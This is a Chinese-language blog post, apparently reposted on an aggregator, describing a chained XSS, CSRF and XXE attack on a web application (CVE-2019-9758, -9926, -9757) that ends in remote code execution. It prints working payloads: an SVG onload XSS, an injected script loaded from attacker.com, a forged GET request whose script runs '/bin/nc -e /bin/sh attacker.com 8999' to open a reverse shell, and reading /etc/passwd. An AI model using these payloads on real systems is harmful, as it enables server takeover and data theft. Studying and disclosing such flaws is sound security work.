XSS+CSRF(+XXE)组合拳=RCE之旅

Posted SecSch001

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS+CSRF(+XXE)组合拳=RCE之旅相关的知识,希望对你有一定的参考价值。

前言

国外某平台系统的一个全家桶组合漏洞导致了RCE,其根本通过是XSS+CSRF达到预期功能,直至远程代码执行,还有一个可进行任意文件读取的XXE。



漏洞编号

XSS:CVE-2019-9758

CSRF:CVE-2019-9926

XXE:CVE-2019-9757




漏洞利用

一、XSS

在应用中发现的XSS的触发条件极其简单。
将任何用户的用户名更改为XSS都会导致payload在管理员的各种下拉菜单中执行。

将用户的用户名设置为XSS的结果:

<svg onload=alert(1)>

XSS+CSRF(+XXE)组合拳=RCE之旅

当前用户触发“Clone permissions from user”菜单中的自动查找时,XSS将在管理员上执行。


这个问题需要注意的是:

它是在应用程序的管理中执行的,允许普通用户去攻击应用程序的管理员。
这也意味着它允许低级用户使用XSS触发代码执行,从而导致RCE。

二、CSRF

服务器大多数的允许运行脚本的功能都开启了CSRF防护。


但是:

将一个POST请求修改为一个GET请求,并将一些参数移动到URL查询字符串,就可以在管理员登录时执行任意代码。

单击Report后查看发送的Request。

XSS+CSRF(+XXE)组合拳=RCE之旅


但不包含CSRF Token的请求会导致如下错误

XSS+CSRF(+XXE)组合拳=RCE之旅


将POST修改为GET,并将一些参数移动到查询字符串中,从而请求成功。

XSS+CSRF(+XXE)组合拳=RCE之旅


cat /etc/passwd

XSS+CSRF(+XXE)组合拳=RCE之旅


三、XXE

应用程序为其处理数据生成的报告是通过生成SVG图像显示数据图来创建的。
SVG的数据还可以在应用程序中转换为PNG或PDF。

这是通过将用户控制的XML传递给Apache的Batik库来实现的,但是该库已经过时,并且容易受到xxe的攻击——CVE-2015-0250。


呈现服务器任意文件内容:

该配置允许发送包含外部实体的XML数据,从而可以将服务器中任意文件的内容呈现到应用程序生成的PDF中。


XSS+CSRF(+XXE)组合拳=RCE之旅


XSS+CSRF(+XXE)组合拳=RCE之旅




组合拳实现RCE

现在可以利用XSS来exec JS Payload,让管理员使用运行脚本。

由于存在CSRF,所以可以简化Payload。

使用熟悉的XSS和CSRF来共同执行代码。


一、创建一个xss.js文件

var xss = document.createElement('img');xss.src="http://localhost:8080/labkey/reports-viewScriptReport.view?reportType=ReportService.rReport&script=system('/bin/nc -e /bin/sh attacker.com 8999')";


二、设置XSS Payload

<svg/onload=jQuery.getScript(‘http://attacker.com/xss.js’)>


三、Kali设置监听

XSS+CSRF(+XXE)组合拳=RCE之旅

XSS+CSRF(+XXE)组合拳=RCE之旅


四、触发XSS


XSS+CSRF(+XXE)组合拳=RCE之旅


五、反弹执行成功!

XSS+CSRF(+XXE)组合拳=RCE之旅


cat /etc/passwd


以上是关于XSS+CSRF(+XXE)组合拳=RCE之旅的主要内容,如果未能解决你的问题,请参考以下文章

2022渗透测试面试大全(过来人的全部家底)

实战csrf+xss组合拳

漏洞挖掘 | 一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

一次CSRF+SELF-XSS组组组合拳!!!

Csrf+Xss组合拳

鸡肋CSRF和Self-XSS组合的变废为宝